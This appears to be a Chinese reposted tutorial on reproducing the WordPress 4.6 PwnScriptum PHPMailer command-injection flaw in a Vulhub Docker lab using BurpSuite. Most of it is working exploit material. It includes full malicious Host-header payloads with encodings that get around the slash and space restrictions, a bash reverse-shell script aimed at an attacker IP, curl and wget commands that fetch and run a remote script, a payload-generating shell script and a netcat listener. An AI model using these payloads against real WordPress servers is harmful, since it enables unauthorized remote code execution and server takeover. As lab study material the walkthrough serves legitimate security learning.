当前位置: 首页 > news >正文

WordPress 4.6老漏洞复现:用Docker+BurpSuite一步步拿Shell(附绕过字符限制技巧)

WordPress 4.6命令执行漏洞实战:从Docker环境搭建到Shell获取全解析

在网络安全领域,漏洞复现是提升实战能力的重要途径。今天我们将深入探讨WordPress 4.6版本中一个经典的命令执行漏洞(PwnScriptum),通过完整的实验流程,帮助安全爱好者理解漏洞原理并掌握实际利用技巧。不同于简单的漏洞复现教程,本文将重点解析漏洞利用过程中的关键限制及其绕过方法,让你不仅能复现漏洞,更能理解背后的技术细节。

1. 实验环境准备与漏洞背景

1.1 漏洞概述与影响范围

WordPress 4.6版本的PwnScriptum漏洞源于PHP Mailer组件(版本<5.2.18)的一个设计缺陷。该漏洞允许攻击者通过精心构造的HTTP请求头,在目标服务器上执行任意系统命令。值得注意的是,这个漏洞的利用需要满足以下条件:

  • WordPress版本≤4.6.0
  • PHP Mailer版本<5.2.18
  • 知道至少一个有效的后台用户名

漏洞利用的核心原理在于攻击者可以控制Host头中的特定参数,通过邮件发送功能触发命令执行。这种类型的漏洞在Web应用中尤为危险,因为它可能绕过常规的输入过滤机制。

1.2 Docker环境搭建

为了安全地复现这个漏洞,我们使用Vulhub提供的Docker环境。以下是详细的环境搭建步骤:

  1. 首先确保系统已安装Docker和docker-compose
  2. 下载Vulhub漏洞环境库:
    git clone https://github.com/vulhub/vulhub.git
  3. 进入WordPress漏洞目录:
    cd vulhub/wordpress/pwnscriptum
  4. 启动漏洞环境:
    docker-compose up -d

环境启动后,可以通过以下命令验证服务状态:

docker-compose ps

正常情况下,你应该看到类似如下的输出:

Name Command State Ports -------------------------------------------------------------------------------- wordpress_db_1 docker-entrypoint.sh mysqld Up 3306/tcp wordpress_web_1 docker-php-entrypoint apac ... Up 0.0.0.0:8080->80/tcp

提示:实验结束后,记得使用docker-compose down命令清理环境,避免占用系统资源。

2. 漏洞利用的核心机制分析

2.1 漏洞触发点解析

该漏洞的触发点在于WordPress的密码重置功能。当用户请求密码重置时,系统会构造一封包含重置链接的邮件发送给用户。在这个过程中,PHP Mailer组件会处理邮件头信息,而Host头的特殊构造可以被利用来注入系统命令。

典型的漏洞利用数据包结构如下:

POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{要执行的命令}} null) User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 56 wp-submit=Get+New+Password&redirect_to=&user_login=admin

2.2 关键限制与绕过思路

这个漏洞在实际利用中存在几个重要限制,理解这些限制对成功复现至关重要:

  1. 字符限制

    • 斜杠(/)必须替换为${substr{0}{1}{$spool_directory}}
    • 空格必须替换为${substr{10}{1}{$tod_log}}
    • 不能使用引号和管道符
  2. 大小写转换

    • 所有命令会被自动转换为小写
  3. 路径要求

    • 必须使用绝对路径,不能依赖环境变量
    • 例如必须使用/bin/bash而非简单的bash
  4. 用户名要求

    • 必须提供有效的后台用户名
  5. 无回显

    • 命令执行后不会在页面上显示输出

为了绕过这些限制,通常采用分阶段执行的策略:

  1. 先下载远程服务器上的恶意脚本
  2. 然后执行下载的脚本获取交互式shell

3. 实战漏洞利用:从命令执行到获取Shell

3.1 准备反弹Shell载荷

在开始漏洞利用前,我们需要准备两个关键组件:

  1. 恶意脚本:包含反弹Shell命令的shell脚本
  2. 监听服务:用于接收反弹Shell连接的Netcat监听器

首先创建一个名为shell.sh的脚本文件,内容如下:

#!/bin/bash bash -i >& /dev/tcp/攻击者IP/7777 0>&1

然后启动Netcat监听器:

nc -lvnp 7777

3.2 构造有效载荷

我们需要执行两条关键命令:

  1. 下载恶意脚本:
    /usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh
  2. 执行下载的脚本:
    /bin/bash /tmp/rce

根据漏洞限制,我们需要对这些命令进行特殊处理:

原始命令处理后格式
/${substr{0}{1}{$spool_directory}}
空格${substr{10}{1}{$tod_log}}

以第一条命令为例,转换过程如下:

  1. 原始命令:
    /usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh
  2. 替换斜杠:
    ${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl -o ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce 攻击者IP${substr{0}{1}{$spool_directory}}shell.sh
  3. 替换空格:
    ${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh

3.3 使用BurpSuite发送恶意请求

以下是使用BurpSuite发送恶意请求的详细步骤:

  1. 拦截密码重置请求:

    • 在浏览器中访问http://目标IP:8080/wp-login.php?action=lostpassword
    • 输入已知的用户名(如admin)并点击"Get New Password"
    • 使用BurpSuite拦截这个请求
  2. 修改Host头:

    • 将Host头替换为处理后的命令格式:
      target(any -froot@localhost -be ${run{处理后的命令}} null)
  3. 发送第一条命令(下载脚本):

    POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh}} null)
  4. 发送第二条命令(执行脚本):

    POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)

成功执行后,你应该能在Netcat监听器中看到反弹Shell的连接。

4. 高级技巧与替代方案

4.1 命令构造的自动化处理

手动转换命令既繁琐又容易出错。我们可以使用简单的Shell脚本来自动化这个过程:

#!/bin/bash cmd="$1" # 替换斜杠 cmd=${cmd//\//'\${substr{0}{1}{\$spool_directory}}'} # 替换空格 cmd=${cmd// /'\${substr{10}{1}{\$tod_log}}'} echo "target(any -froot@localhost -be \${run{$cmd}} null)"

使用方法:

./transform.sh "/usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh"

4.2 替代的利用方式

除了使用curl下载脚本外,还有其他几种常见的利用方式:

  1. 使用wget替代curl

    /usr/bin/wget -O /tmp/rce 攻击者IP/shell.sh
  2. 直接执行命令(适用于简单操作):

    /usr/bin/whoami
  3. 写入文件直接执行

    echo 'bash -i >& /dev/tcp/攻击者IP/7777 0>&1' > /tmp/rce && /bin/bash /tmp/rce

4.3 常见问题排查

在漏洞复现过程中,可能会遇到以下问题及解决方案:

问题现象可能原因解决方案
命令未执行用户名不正确确保使用有效的后台用户名
无反弹Shell连接网络问题或命令错误检查监听器设置和命令转换是否正确
Docker环境无法启动端口冲突修改docker-compose.yml中的端口映射
脚本下载失败路径或权限问题确保web服务器可访问且脚本路径正确

注意:在实际渗透测试中,务必确保已获得目标系统的授权。未经授权的测试可能违反法律。

http://www.jsqmd.com/news/731831/

相关文章:

  • 机械键盘连击终结者:Keyboard Chatter Blocker完全配置手册
  • Web3数字资产管理:Picasso项目架构解析与NFT画廊搭建实战
  • 2026年小程序开发公司怎么选?这份避坑指南+标杆企业推荐请收好
  • 利用Taotoken CLI工具一键配置多款ai开发环境
  • 从RFLP到SNP:一个玉米育种博士的QTL定位实战笔记(附避坑指南)
  • 如何快速掌握抖音下载神器:3步完成无水印视频批量下载
  • 告别手动上传!用Python Paramiko库实现SFTP文件自动同步(附完整脚本)
  • 创意网站灵感来源聚集地,收录保存
  • ComfyUI-Manager:终极AI绘画插件管理神器,让创作更简单
  • 如何在5分钟内快速上手NBFC Linux终极风扇控制方案
  • LinkSwift:基于JavaScript的跨平台网盘直链解析技术方案
  • git工具下载源码
  • Python调用外部exe报错?手把手教你排查‘不是有效的Win32应用程序’的3个常见坑
  • 8101合宙引擎主机:智能售货机APP完整开发流程
  • 固件安全:为什么你的联网设备正在成为黑客的攻击入口?
  • Dubbo 3.x实战:用@DubboService和@DubboReference重构一个老旧单体应用
  • 从一次Pod调度失败讲起:手把手排查K8s + Ceph RBD存储的‘多挂载‘故障
  • 2026中石化加油卡回收指南:哪些卡能收、怎么操作 - 可可收
  • 2026-05-01:整数的镜像距离。用go语言,给定一个整数 n,请计算它与其数字倒序后的数之间的差的绝对值。 其中,倒序后的数是把 n 的每一位数字反过来得到的新整数。 请返回这个绝对值结果。 1
  • Royal TSX免费版够用吗?实测10个连接限制下的个人开发者高效管理术
  • 7个高效技巧,让Maccy成为你的macOS剪贴板管理神器
  • 指尖的算法:用PianoPlayer重塑钢琴演奏的智能旅程
  • MPC-BE终极指南:如何用开源播放器征服所有视频格式?
  • Windows 11终极优化指南:免费开源工具Win11Debloat让你的系统重获新生
  • Boss-Key老板键:Windows隐私保护终极指南,一键隐藏窗口的免费开源神器
  • 智能售货机应用开发:从环境搭建到消息发送完整教程
  • AI工具实战指南:从对话生成到图像创作,构建个人高效工具箱
  • TVBoxOSC终极指南:5分钟让手机变身智能电视控制中心
  • 观测Taotoken平台用量与成本的实际体感与账单透明度
  • 从Modbus到PLC:深入车间,拆解一个真实RS485布线案例(含电缆选型与接地实战)